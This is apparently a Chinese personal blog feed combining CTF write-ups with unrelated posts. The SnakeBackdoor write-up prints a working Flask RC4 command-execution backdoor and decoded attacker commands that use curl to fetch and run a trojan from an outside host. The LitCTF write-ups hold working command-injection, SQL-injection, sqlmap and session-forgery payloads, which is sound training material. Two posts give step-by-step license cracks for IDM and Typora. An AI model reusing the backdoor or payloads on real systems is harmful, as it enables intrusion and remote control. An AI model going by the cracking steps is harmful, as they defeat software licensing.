            decompressed = zlib.decompress(b64_decoded, -15)
        except:
            raise ValueError(f"Zlib decompress failed: {e}")
            
    return decompressed
 
def analyze_final_code(code_str):
    """分析最终解密出的代码，提取 Key 和 Token"""
    print("\n" + "="*50)
    print("【最终代码分析 / Final Code Analysis】")
    print("="*50)
    
    print(code_str)
    print("="*50 + "\n")
 
    # 简单的特征提取
    lines = code_str.split('\n')
    for line in lines:
        line = line.strip()
        if "RC4_SECRET" in line or "key" in line.lower():
            print(f"[+] Found Key info: {line}")
        if "X-Token-Auth" in line:
            print(f"[+] Found Auth Token: {line}")
 
def main():
    print(f"[*] 开始解密内嵌 Payload")
    print(f"[+] 初始 Payload 长度: {len(PAYLOAD)}")
    
    current_payload = PAYLOAD
    layer_count = 0
    
    while True:
        layer_count += 1
        print(f"[*] 正在解密第 {layer_count} 层...", end='\r')
        
        try:
            # 解密当前层
            decrypted_bytes = decrypt_layer(current_payload)
            decrypted_code = decrypted_bytes.decode('utf-8')
            
            # 检查是否有下一层嵌套
            # 模式: exec((_)(b'...'))
            match = re.search(r"exec\(\(_\)\(b'(.+?)'\)\)", decrypted_code)
            
            if match:
                # 提取下一层的 payload，继续循环
                current_payload = match.group(1).encode('utf-8')
            else:
                # 没有匹配到 exec((_)(b'...'))，说明到达最后一层
                print(f"\n[+] 解密完成！共解开 {layer_count} 层嵌套。")
                analyze_final_code(decrypted_code)
                break
                
        except Exception as e:
            print(f"\n[-] 在第 {layer_count} 层解密失败: {e}")
            break
 
if __name__ == "__main__":
    main()

大佬的WP：https://blog.csdn.net/qq_64028228/article/details/156423776

:::

第三步：审计代码找到密钥字符串(Key)

在攻击代码中我们找到

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

根据下方对rc4_crypt函数的调用发现密钥字符串(Key) 就是v1p3r_5tr1k3_k3y

flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4 | 847

攻击者上传了一个二进制后门，请写出木马进程执行的本体文件的名称，结果提交形式：flag{xxxxx}，仅写文件名不加路径

第一步：根据SnakeBackdoor-3中分析的后门代码

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
	S = list(range(256))
	j = 0
	for i in range(256):
		j = (j + S[i] + key[i % len(key)]) % 256
		S[i], S[j] = S[j], S[i]
	i = j = 0
	res = bytearray()
	for char in data:
		i = (i + 1) % 256
		j = (j + S[i]) % 256
		S[i], S[j] = S[j], S[i]
		res.append(char ^ S[(S[i] + S[j]) % 256])
	return bytes(res)
def backdoor_handler():
	if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
		return "Error"
	enc_hex_cmd = request.form.get('data')
	if not enc_hex_cmd:
		return ""
	try:
		enc_cmd = binascii.unhexlify(enc_hex_cmd)
		cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
		output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
		enc_output = rc4_crypt(output_bytes, RC4_SECRET)
		return binascii.hexlify(enc_output).decode()
	except:
		return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

第二步：找到相关攻击数据包

我们发现当http协议头中X-Token-Auth=3011aa21232beb7504432bfa90d32779时才能使用后门于是我们筛选包含X-Token-Auth=3011aa21232beb7504432bfa90d32779的数据包

我们发现了多个相关的数据包其data内容分别是

Form item: "data" = "a6bc"
Form item: "data" = "a3ab330fb285"
Form item: "data" = "acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534"
Form item: "data" = "bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a"
Form item: "data" = "a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351"
Form item: "data" = "acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b"
Form item: "data" = "e0ac7e52fc996cc2038c2d7a3899ed"

第三步：对数据包中data进行解密

根据攻击脚本我们编写data解码程序

import binascii
import sys

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

def safe_decryptor():
    while True:
        print("\n请输入要解密的字符串:")
        hex_input = input("> ").strip()
        if not hex_input:
            continue
        cipher_bytes = binascii.unhexlify(hex_input)
        decrypted_bytes = rc4_crypt(cipher_bytes, RC4_SECRET)
        plaintext = decrypted_bytes.decode('utf-8')
        print("-" * 20 + " 解密结果" + "-" * 20)
        print(f"\033[1;32m{plaintext}\033[0m")
        print("-" * 60)

if __name__ == "__main__":
    safe_decryptor()

将data数据依次解码得到所有的命令

id
ls -al
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

第四步：分析执行代码内容找到木马文件

依次的作用为

id查看所在用户权限
ls -al 确认目录环境
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip下载木马文件输出到/tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip使用密码nf2jd092jd01将123.zip解压出来
mv /tmp/shell /tmp/python3.13 将shell文件重命名为python3.13伪装成python文件藏在/tmp目录下
chmod +x /tmp/python3.13 给予python3.13文件权限
/tmp/python3.13 运行伪装成python3.13的木马文件

得出木马进程执行的本体文件

flag{python3.13}

结语

剩下的我就不会了 /(ㄒoㄒ)/~~ （赛后没看WP，在准备期末考试）有时间看懂了WP再进行更新

这次比赛只做出了两道Web和两道流量分析

国赛孤军奋战这一块个人排名1400/8000 队伍排名1200/3000

其中Redjs那个题是因为最近博客服务器中存在CVE漏洞导致服务器被黑才了解那个CVE

服务器因cve失陷比赛因cve拿分

【易】【LitCTF-2023】Web题目 WriteUp 合集

Fri, 14 Nov 2025 20:33:50 GMT

【LitCTF-2023】Web题目 WriteUp 合集

题目链接：

【LitCTF 2023】我Flag呢？

题目知识标签

信息收集、源码泄漏、代码审计

WP

直接代码审计F12或CTRL+U查看源代码

在代码注释找到flag

FLAG

NSSCTF{91737e4e-5797-4afb-80de-e6ec1c8f0177}

CTF所用工具总结

浏览器

难度

※（一颗星，送分）

【LitCTF 2023】就当无事发生

题目知识标签

.git泄露、信息收集

WP

在题目描述页面可以发现一个GitHub page 根据下面的描述可以了解到作者不小心（并非）将flag推送到了仓库但后来又重新部署可以猜测到flag存在于仓库的历史版本

根据GitHub page的特点可以很快找到作者github主页从而找到对应的github仓库

::github{repo="ProbiusOfficial/ProbiusOfficial.github.io"}

在仓库的commits中可以找到历史推送经过查找可以找到历史推送遗留的flag

FLAG

NSSCTF{g1thub_c0mmit_1s_s0_us3ful}

CTF所用工具总结

浏览器

难度

※※（两颗星，超简单）

【LitCTF 2023】导弹迷踪

题目知识标签

JS分析、信息收集、源码泄漏

WP

根据题目描述可知我们可以分析js得出flag 也可以玩到第六关得出flag

方法一：

玩到第六关，然后拿到flag

方法二：

代码审计我们可以发现有好几个关于游戏类的js

我们可以根据名称大致筛选出更有可能藏有flag的js进行分析这里根据名称猜测出藏在src/main.js src/game.js中

于是开始分析js文件

打开src/game.js文件思路：当我们玩到第六关的时候会弹出flag 所以我们可以猜测他有个变量存储关卡然后判断变量值是否为6 同时游戏一般以level来表示关卡数我们便可以猜测变量名称与level相关

所以我们在js文件中检索"if(xxxx === 6)"类似的东西我这里直接在js文件中搜索6 很幸运的直接找到了flag

FLAG

NSSCTF{y0u_w1n_th1s_!!!}

CTF所用工具总结

浏览器

难度

※※（两颗星，超简单）

【LitCTF 2023】Follow me and hack me

题目知识标签

HTTP协议、POST注入、源码泄漏

WP

我们发现按钮不能使用打开开发者工具进行代码审计可以发现这个题就没打算让大家用按钮

不过我们可以直接对页面进行传参我们可以使用hackbar插件

直接用hackbar进行post请求同时传入get参数输入完之后直接EXECUTE 得到flag

FLAG

NSSCTF{53c511ed-8493-4622-b87d-f5f1fdbc5013}

CTF所用工具总结

浏览器
HackBar插件

难度

※※（两颗星，超简单）

【LitCTF 2023】Ping

题目知识标签

RCE、前端绕过、Linux命令

WP

我们尝试ping一下127.0.0.1

我们可以猜测到当我们输入“127.0.0.1”时被拼接为“ping 127.0.0.1" 根据Linux的特点我们可以使用命令连接符然后运行我们想要的指令

关于linux命令连接符：

Linux命令连接符主要有以下几种：

;（分号）：表示顺序执行，每个命令执行完毕后继续执行下一个命令。
&&（逻辑与）：表示顺序执行，只有前一个命令执行成功后，才会执行下一个命令。
||（逻辑或）：表示顺序执行，只有前一个命令执行失败后，才会执行下一个命令。
&（与符号）：表示在后台执行命令。
|（管道符号）：表示将前一个命令的输出作为输入传递给下一个命令。

我们可以使用“||”连接我们先要的命令

当我们传入"127.0.0.1 || ls /" 命令会被拼接为“ping 127.0.0.1 || ls /” 运行“ls /”命令于是进行尝试

这里可以了解到他进行了前端的验证不过我们可以通过修改数据包或禁用js脚本进行发送数据

这里使用burp suite

我们先输入正常ip绕过js验证然后抓取数据包修改

抓取到数据包后我们修改post里面的内容

将“127.0.0.1”改为“127.0.0.1 || ls /“

ok 我们这里发现命令运行成功而且正常回显我们发现目录根目录中有个flag文件使用cat命令读取

使用同样的方法将cat命令拼接进去“||cat /flag”

FLAG

NSSCTF{f2166a2a-76f5-451c-8396-e2a445df2afe}

CTF所用工具总结

浏览器
burp suite

难度

※※※（三颗星，简单）

【LitCTF 2023】1zjs

题目知识标签

JS分析、信息收集、代码审计

WP

代码审计可以找到一个js 分析js

找到了一个名为 /f@k3f1ag.php 的文件

（f@k3我还以为是fake 以为找错了实际上是Fuck的意思意为JSFuck编码）打开发现如下内容

全部是由[] + ! ()组成
看似毫无意义但flag却正在如此

由亲爱的百度先生可以了解到这是jsfuck编码
（是我孤陋寡闻了）

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。

由csdn可知
它不依赖于浏览器，因此可以在Node.js上运行。

方法一：直接在控制台运行

方法二：解码网站

FLAG

NSSCTF{a07be3a8-e644-4683-bd14-57ff63c7e21e}

CTF所用工具总结

浏览器
burp suite

难度

※※※※（四颗星，一般）

【LitCTF 2023】作业管理系统

题目知识标签

文件上传、弱口令、RCE

WP

打开题目发现是登录页面代码审计可以发现账号密码

输入账号密码进行登录

在上传文件页面进行一句话木马上传上传成功之后使用蚁剑连接

在根目录可以找到flag文件得取flag

FLAG

NSSCTF{b93762f3-5377-481f-85e1-54d696776843}

CTF所用工具总结

浏览器
AntSword

难度

※※※（三颗星，简单）

【LitCTF 2023】PHP是世界上最好的语言！！

题目知识标签

RCE、PHP、无参RCE

WP

题目简介提示：Flag位于根目录思路就是找根目录里面的flag文件

根据页面提示 RUN CODE 提示我们框内应为什么命令我们尝试运行php代码

发现可以运行通过Linux命令 ls / 和cat来查看flag文件得到flag

FLAG

NSSCTF{5c5b0c25-526d-4fb2-8fe8-82a44b59a673}

CTF所用工具总结

浏览器

难度

※※※（三颗星，简单）

【LitCTF 2023】Vim yyds

题目知识标签

vim泄漏、RCE、源码泄漏

WP

题目打开提示vim

这边可以猜测vim泄露文件后缀为.swp 即index.php.swp 如果我们不知道也可以用 dirsearch 工具进行扫描

指令为 dirsearch -u {目标url} 可以扫描出index.php.swp文件这里尝试访问下载到目标文件使用010 editor打开分析

分析代码得出payload

使用post请求传参 cmd={linux命令}&password=R2l2ZV9NZV9Zb3VyX0ZsYWc= 使用ls / 找到根目录flag文件使用cat /flag 读取文件得到flag

FLAG

NSSCTF{26723c05-e07b-44bd-a6c0-e9949452abcb}

CTF所用工具总结

浏览器
hack bar
dirsearch
010 editor

难度

※※※※（四颗星，一般）

【LitCTF 2023】这是什么？SQL ！注一下！

题目知识标签

SQL注入、时间盲注、布尔盲注

WP

方法一：手动注入

这题目比较简单直接把Key Source给出

<?php
$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';
$result = $conn->query($sql);

Executed Operations:

SELECT username,password FROM users WHERE id = (((((())))))

我们可以直接得出是字符型然后需要“))))))”进行闭合而且可以由 SELECT username,password FROM 得出字段长度为 2

接下来就要判断注释符

尝试 “--”：查询出错注释符不是“--”

尝试“#”：查询成功注释符是"#"

接下来就可以依次构建payload 手动注入可以使用hackbar内预设语句

查库payload

?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata %23

查库长度和回显位置这个题测试后发现1和2位置都能进行回显直接execute 发现查询失败分析查询语句

我们可以发现 hackbar 中的 # 被忽略这边使用 # 的url编码即可

查询到以下数据库 information_schema,mysql,ctftraining,performance_schema,test,ctf

然后就是常规的查表查列查数据不进行过多解释了这里选择ctftraining数据库它名称比较可疑如果不是可以再进行其他数据库尝试

查表payload

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining" %23

找到了一个名为flag的表查列payload

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctftraining' %23

接下来直接查询数据即可查数据payload

?id=1)))))) union select 1,flag from ctftraining.flag %23

得出flag

方法二：sqlmap注入

直接查库

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 --dbs

查表

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining --tables

（触发时间盲注速度较慢）

查列

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag --columns

（触发时间盲注速度较慢）

查询数据

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag -C flag --dump

（触发时间盲注速度较慢）

FLAG

NSSCTF{24cbda17-c360-4112-9ba3-93cb9798dfea}

CTF所用工具总结

浏览器
hack bar
sqlmap

难度

※※※※（四颗星，一般）

【LitCTF 2023】Flag点击就送！

题目知识标签

Cookie伪造、Flask、Ejs

WP

打开随便输入个名字点击拿flag提示只有管理员才能拿flag

返回初始页面输入admin 提示你并非管理员

我们可以由此判断出管理员名称为admin 我们输入任意值后在拿flag分析数据包找到了cookie值中存在session值 eyJuYW1lIjoiMSJ9.aRiRSQ.qRcMu-i6fQDODuj7-p9g4N4ZOM8

分析session值进行base64解密

发现session是被加密过的base64数据于是分析框架以做到session数据的处理我们可以猜测这个题应该是构造admin的session拿flag 通过Wappalyzer插件分析网站框架为Flask

根据flask框架特点我们可以发现他会创建一个密钥进行加密我们要爆破出密钥这里使用flask-unsign工具进行爆破

flask-unsign --unsign --cookie "cookie" -w "wordlist file" --no-literal-eval

发现我们使用常见的字典后无法破解

而题目也不会这么难于是我们根据题目相关信息进行密钥猜测

发现密钥就是LitCTF 根据此密钥我们使用 flask-session-cookie-manager 工具构造session

python flask_session_cookie_manager3.py encode -s "LitCTF" -t "{'name':'admin'}"

得到构造后的session为eyJuYW1lIjoiYWRtaW4ifQ.aRiYLQ.1chaPrijlkgD2V9KFs1-yD-5lCY

我们使用 burp suite 将所得的session值封装到数据包中

发送数据包拿到flag

FLAG

NSSCTF{ee937afc-f3de-42c3-a86a-dfa71382429f}

CTF所用工具总结

浏览器
flask-unsign
Wappalyzer
burp suite
flask-session-cookie-manager

难度

※※※※※※（六颗星，难）

【LitCTF 2023】彩蛋

题目知识标签

其他

WP

题目提示：彩蛋分布于我Flag呢 Follow me and hack me 作业管理系统狠狠的注入四个题目中

part1（我Flag呢）

在控制台页面发现彩蛋提示输入对应提示指令giveMeEgg()得到第一部分

LitCTF{First_t0_The_k3y!（1/?）

part2（Follow me and hack me）

在我们完成这道题的时候有一行绿的提示

于是我们测试备份文件名称使用 dirsearch 查询目录

python dirsearch.py -u http://node5.anna.nssctf.cn:28775/

下载目录中的 www.zip 文件

分析文件我们可以在index.php.bak文件中找到这一部分flag

_R3ady_Pl4yer_000ne_ (3/?)

part3（作业管理系统）

依旧登录系统在文件上传页面发现远程下载示例

打开示例链接获得此部分flag

_S0_ne3t? (2/?)

part4（狠狠的注入）

在我们做这个题的时候还有一个名为ctf的数据库对这个数据库进行查表

查表payload

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf" %23

查列payload

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='ctf' %23

查数据payload

?id=1)))))) union select username,password from ctf.users %23

得到此部分flag （当然可以用sqlmap）

F1rst_to_Th3_eggggggggg!} (4/4)

合并四个部分flag得到最后flag

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

FLAG

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

CTF所用工具总结

浏览器
dirsearch
sqlmap

难度

※※※※（四颗星，一般）

总结

这套题总体难度比较简单，而且还挺有趣的，适合Web新手入门，去多方位了解Web题的不同解题角度，题目的writeup可以当作思考路线，题目质量不错，值得一做~~

IDM 逆向开裂教程

Mon, 22 Sep 2025 00:00:00 GMT

IDM（Internet Download Manager）

免责声明

本站所有的软件均来自网络，逆向教程仅用于学习和交流，请在软件下载24小时内删除

介绍

官方售价：83.95元/年（单台）185元/永久（单台） 69.95元/年（两台每台）140元/永久（两台每台）

支持平台：Windows

下载

下载链接：请点击此处

白嫖教程

本软件使用以下项目进行破解

::github{repo="lstprjct/IDM-Activation-Script"}

（一）、下载并安装*

下载链接：https://www.internetdownloadmanager.com/download.html

下载完安装包后一路确定即可安装成功

打开关于我们发现版本显示未注册

（二）、下载破解脚本*

下载链接：https://github.com/lstprjct/IDM-Activation-Script/releases

选择最新版本的补丁下载

（三）、使用破解补丁*

将下载到的文件解压到文件根目录

运行IAS.cmd脚本

输入1进入激活模式 根据提示进行确定操作

（四）、检查IDM是否已被激活

再次打开关于页面查看是否被激活

看到序列号就说明已经被完美激活

根据实测此激活版本可正常更新但非常不建议这么做

温馨提示

没事别更新！没事别更新！没事别更新！

本篇文章已被收录至自用软件合集！中

小米手环7联动ZeppOS应用

Mon, 08 Sep 2025 00:00:00 GMT

小米手环7联动ZeppOS应用

前言

ZeppOS小程序是一套可以通过ZeppApp与手机和云端进行联动的完整链条。

ZeppApp是华米旗下的APP

虽然不支持连接小米手环，但在俄罗斯大佬的改版中项目组通过魔改ZEPP应用将小米手环7（Mi band 7）作为华米手环7（Amazfit band 7）与手机连接

使用Zepp连接小米手环

下载zepp改版

下载链接如下：
- 123云盘
- mega
找到手环的蓝牙地址

打开小米运动健康或zepp life找到手环的蓝牙地址并记录下来

复制以下链接

Zepp（华米）：

https://api-watch.huami.com/forwarding/watchUS?redir=7800&mac=蓝牙地址&pnpNumber=117&pnpVersion=259

Zepp life或小米运动健康：

https://hlth.io.mi.com/download?redir=7800&mac=蓝牙地址&pnpNumber=103&pnpVersion=256

修改链接使它与你的手环蓝牙地址匹配

每次恢复出厂设置后，蓝牙地址会改变。

例如你的蓝牙地址为：

C3:DE:8A:5F:76:9B

在链接中你应该填写为

C3DE8A5F769B

https://api-watch.huami.com/forwarding/watchUS?redir=7800&mac=C3DE8A5F769B&pnpNumber=117&pnpVersion=259

https://hlth.io.mi.com/download?redir=7800&mac=C3DE8A5F769B&pnpNumber=103&pnpVersion=256

注意：去掉蓝牙地址中间的冒号
生成二维码并扫描绑定

打开任意一个生成二维码的网站（例如：草料二维码），输入你修改蓝牙地址后的华米链接

生成二维码并使用Zepp绑定
打开开发者选项

在资料>设置>关于页面

连续五次点击Zepp图标就有提示进入了开发者模式

原版官包也可以绑定，但是不能使用开发者模式，会提示“Bluetooth channel is not available. Please try again later.”

打开绑定的手环下滑看见开发者选项就可以了
找到app-side应用安装二维码

这边有一个安装app-side的网站

https://ze.mmk.pw/

此网站内的部分软件可以完美兼容

这边举个例子： Navigation Wear （只支持Google Map）

我这边测试的版本是1.3.3完美兼容而这个网站上的1.9.4会有图标显示问题

具体其他应用需要自己自行测试

这边提供一个1.3.3的安装二维码
安装app-side应用

在开发者选项中右上角找到扫描

扫描对应安装二维码即可安装成功

使用截图

注意事项

理论来讲使用zepp的app-side服务可能需要有zepp在后台辅助

但zepp无法在手环中添加卡片如出现类似不支持的问题请切换回zepp life或小米运动健康解决

若出现无法连接的问题请使用Zepp life或小米运动健康对应链接形成的二维码进行新的绑定

参考文献：https://www.coolapk.com/feed/42561142

修复小米手环7 系统损坏进入rec后无法绑定手机

Fri, 05 Sep 2025 00:00:00 GMT

修复小米手环7 系统损坏进入rec后无法绑定手机

前言

今年年初本人高三在校生为了使校园生活变的不再那么枯燥

我将大量的小说通过环间电子书导入到了小米手环7上然后没过多久就出现了问题

我在打开小程序的同时手环多次重启进入了rec页面

根据步骤来就进入了清除数据页面 清除数据后它会给你提供一个二维码 让你绑定手机

当你扫码在绑定设备时它会提示 “此设备已被另一个设备绑定请先解绑”

但事实上当你解绑后也无法进行绑定

解决思路

连接手机思路

我们在重置了系统后出现了无法绑定的问题

问题的源头来自手机app检测到手环里有绑定手机的信息

也就是说 我们把手环上绑定信息去除后我们就可以进行绑定设备

信息清除数据

在遇到问题时我也收集了许多的方法但很多方法都已经失效

但我了解到了一关键的一点 强行绑定

在小米手环app的早期版本存在强行绑定的情况只不过后来被官方封堵了

不过也侧面说明了此方法的可行性也就是说我们只要强行绑定之后再进行解绑清除了绑定手机的信息就可以完成新设备的绑定

温馨提示：解绑的原因是强行绑定会出现问题

可强行绑定的方式被封堵了有什么其他方法进行强绑吗

转机

华米现已更名为（“Zepp Health”）曾是小米生态链企业，为小米生产智能穿戴产品，如小米手环。但双方关系已渐行渐远，华米主要依靠自有品牌 Amazfit 和 Zepp 进行独立运营，并推出了独立的健康管理应用 Zepp Life，而小米也推出了自家的官方应用《小米运动健康》。目前，二者在穿戴设备领域属于合作伙伴与竞争对手并存的复杂关系。

华米旗下的APP zepp（并不是zepp life）虽然不支持连接小米手环，但在俄罗斯大佬的改版中项目组通过魔改ZEPP应用将小米手环7（Mi band 7）作为华米手环7（Amazfit band 7）与手机连接

注意：这个连接没有设备绑定验证也就是所谓的强行绑定

操作

下载zepp改版

下载链接如下：
- 123云盘
- mega
用改版的zepp扫码绑定

直接用zepp APP扫描手环上的二维码

绑定后在app内会显示如下内容

此时我们可以发现Mi band 7被检测为了Amazfit band 7

然后我们直接点击解绑设备即可

注意：此步会清除手环中的绑定信息

绑定失败问题：

可能原因：未使用改版后的zepp
使用zepp life绑定

扫描手环上的二维码我们可以发现此时手环可以被绑定了

同样是这个界面

此时手环还处于不可用状态
检查更新修复系统

找到检查更新界面我们可以发现有一个新的更新（这个更新可能被rec后就有不确定）

我们直接进行更新等待手机将固件推送到手环中

安静等待读条完成就可以进入被重置后的新系统了！！！

enjoy~

（后续恢复出厂设置/绑定新设备等功能均不受影响）

参考文献：https://www.coolapk.com/feed/42561142 https://www.bandbbs.cn/threads/12135/

不到50元拿下十年.xyz域名

Wed, 03 Sep 2025 00:00:00 GMT

不到50元拿下十年.xyz域名（银联卡即可）

前言

25年7月底刷到了一篇关于spaceship域名低价的帖子，原文写到

xyz域名促銷，6-8位數數字的。xyz一年 0.67美金，最多可以買一年之後再續九年，總共十年 6.7美金

当时没太注意前两天去做cf的ip优选时突然想起来了这次的活动于是就去试了试

补充：原文下有一条这样的评论

（6位到9位數字）的 .xyz 域名，從2017年開始官方定價就是 USD$1/y，另外不同註冊商可能有不同優惠，Spaceship 的價格常態就是 $0.67，不算是什麼特價吧

不管是不是活动无伤大雅 5r/year的价格还是蛮香的值得入一手

本次能够参与活动的域名为 6位到9位數字.xyz 美观性差点意思可以用作其他用途（包括但不限于ip优选）

支付方式

spaceship支持的支付方式有很多

visa
MasterCard
JCB
discover
AMEX
银联
虚拟货币
PayPal（支持国区）
Google Pay
Apple Pay
支付宝

国内建议直接尝试支付宝和银联卡

我支付宝不常用于是尝试去绑定银联卡但是提示拒绝服务

如果你也用同样的情况可以尝试用PayPal绑定银联卡 然后在网站上绑定PayPal解决

域名挑选与购买

打开spaceship官网

在 search for a domain name 输入你想要的域名 一定是6-9位数字+.xyz

例如我们搜索788455.xyz

添加购物车我们可以发现目前只能购买一年 直接用你绑定的支付方式进行支付

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打开域名管理器就可以找到购买的域名了

然后我们点击此域名找到右侧延长订阅的地方直接购买即可

这边最大延长时间是9年再加上我们刚开始注册域名的1年一共是10年

依旧直接用绑定付款方式进行付款

扣款成功 44.6 人民币

总计价格 4.95 + 44.6 = 49.55 元 ≈ 0.67 + 6.03 = 6.7 美元

返回域名管理器就可以发现域名已经续费到10年后了

【问题】拒绝付款

遇到拒付问题，可以登录你所用卡的APP或者支付APP，查看是否有信息推送

一般情况下，出现拒绝付款要么就是卡里没钱要么就是未开通境外支付

我们只需打开官方app 在消息中找到境外开通页面按流程开通即可

我们再次付款就可以发现支付成功了

域名托管到cloudflare【可选】

建议将域名统一托管到cloudflare平台方便管理

打开cloudflare官网添加现有域

选择免费计划

最后他会给你两个名称服务器

将这两个服务器填写到域名管理→名称服务器和dns

将提供的两个服务器填入

返回cloudflare检测即可

结语

有什么关于本文章的任何问题欢迎在文章最后评论

Typora 逆向开裂教程

Mon, 01 Sep 2025 00:00:00 GMT

Typora

免责声明

本站所有的软件均来自网络，逆向教程仅用于学习和交流，请在软件下载24小时内删除

介绍

一款 Markdown 编辑器和阅读器

官方售价：89元 / 3台设备 / 免费升级

支持平台：Mac、Windows、Linux

下载

下载链接：请点击此处

推荐下载版本1.10.8

白嫖教程

本软件使用明文校验的方式进行正版验证

（一）、下载并安装*

下载链接：https://typora.io/releases/all（选择1.10.8）

亲测在1.11.*版本加入了js校验更改文件就会闪退

（二）、修改文件*

在安装位置中进入如下路径

此处是安装路径 \typora\resources\page-dist\static\js

找到LicenseIndex.xxxxxxxxxxx.chunk文件并用文本/代码编辑软件打开

将

e.hasActivated="true"==e.hasActivated,

替换为

e.hasActivated="true"=="true",

（三）、更改注册表

如果忽略此步可能会导致软件闪退

Win+R键输入regedit打开注册表

输入或找到如下路径

计算机\HKEY_CURRENT_USER\Software\Typora

右键此项打开权限页面

将Administrators右侧权限改为拒绝保存并应用即可

此时打开软件已经变为已激活状态

（四）、关闭软件每次启动时的已激活弹窗

打开编辑如下文件

Typora\resources\page-dist\static\js\0.99879679.chunk.js

将

var div = document.createElement('div');

div.id = 'myOverlay';

div.style.position = 'fixed';
div.style.top = '0';
div.style.left = '0';
div.style.width = '100vw'; 
div.style.height = '100vh';
div.style.backgroundColor = 'rgb(54,59,64)'; 
div.style.zIndex = '9999'; 

document.body.appendChild(div);

setTimeout(function () {
 var overlay = document.getElementById('myOverlay');
 if (overlay) {
     overlay.remove(); 
 }

 document.querySelector('.default-btn.secondary-btn').click(); 

}, 360);

插入到第一行注释和(this.xxxxxxxxxx)中间

（五）、去除软件左下角未激活提示

打开编辑如下文件

Typora\resources\locales\zh-Hans.lproj\Panel.json

将

"UNREGISTERED":"未激活"

替换为

"UNREGISTERED":"已激活"

温馨提示

没事别更新！没事别更新！没事别更新！

本篇文章已被收录至自用软件合集！中

爱的誓约，缘定一生

Thu, 27 Jul 2023 00:00:00 GMT

爱的誓约，缘定一生 ——祝哥哥订婚快乐

踏入七彩时光，亲哥哥终将迎来缘定一生的美妙篇章。星月相伴，草木含翠，他遇见了心中那份倾心的爱意，决定与心上人相守终身。此刻，让我们共同祝福，用心灵的羽翼，书写这段幸福的传奇。

风起时，缱绻诗意绕指间。岁月的钟摆轻拂过，酝酿出一段美好的姻缘。愿你们的爱情，如春风拂面，温暖而不失深情;如夏日繁花，绚烂且持久;如秋叶飘零，静美而不凋零;如冬日暖阳，永远相伴温暖心房。

世间繁华，终究还是平凡的幸福最让人心驰神往。愿你们一同漫步在爱的花海，牵手走过岁月的长廊，笑看风花雪月。彼此是对方的天空，无论晴空或风雨，都愿意包容对方的一切。

从此，你们守望着共同的梦想，携手漫游在未来的路上。愿你们的生活，如同诗篇悠扬，如同画卷绚丽，披荆斩棘，不惧风雨，相互扶持，共同见证这份来之不易的幸福。

在这个喜气洋洋的日子里，愿你们的微笑灿烂如花，幸福洋溢如潮。心心相印，百年好合！

大陆地区游玩Rizline指南[安卓]（能解决90%的问题）

Sun, 18 Dec 2022 00:00:00 GMT

大陆地区游玩Rizline指南[安卓]（能解决90%的问题）

前言

Rizline 1.0.2版本更新以后，Sim卡限制已经被取消了，但ip限制仍然有，仅需要解决IP限制问题就可以进入游戏游玩

rizline本体

首先是要下载游戏的本体安装包，你可以选择使用谷歌商店进行下载，但是很多人的手机并没有谷歌商店和谷歌服务，这里推荐使用tapio（taptap国际服）或者音游下载站点 616.sb 进行下载

IP限制问题

很多人在下载完游戏本体想要开始游玩时，会出现ip限制、所在地区未支持或一直卡在加载中等问题

解决方法：

使用网络代理解决，只需要挂上你的梯子进行魔法上网（节点只要不是大陆内就可以进入）

若依旧报错可更换节点多次尝试即可进入

若并无网络代理工具或节点可以联系QQ3451860760或发送邮件至3451860760@qq.com，虽说是非免费，但是比较稳定，速度也比较快，价格也属于白菜价（不是我的机场请不要骂我，我只是做一个安利罢了）

登录问题

能看到这里，那么恭喜你，你可以去游玩Rizline了

但是你并没有进行登录的操作，也就意味着你不能购买曲包，而且当你卸载之后，你游玩的数据也会消失，未解决此问题可以选择登录游戏

Rizline登录无论是什么服都是需要谷歌框架的，解决登录问题无非是安装一个Google框架罢了，但是很多的机型搞起来挺麻烦的（尤其是华为），这里就不在做系统的教程了，感兴趣的可以在各种渠道获取安装的教程

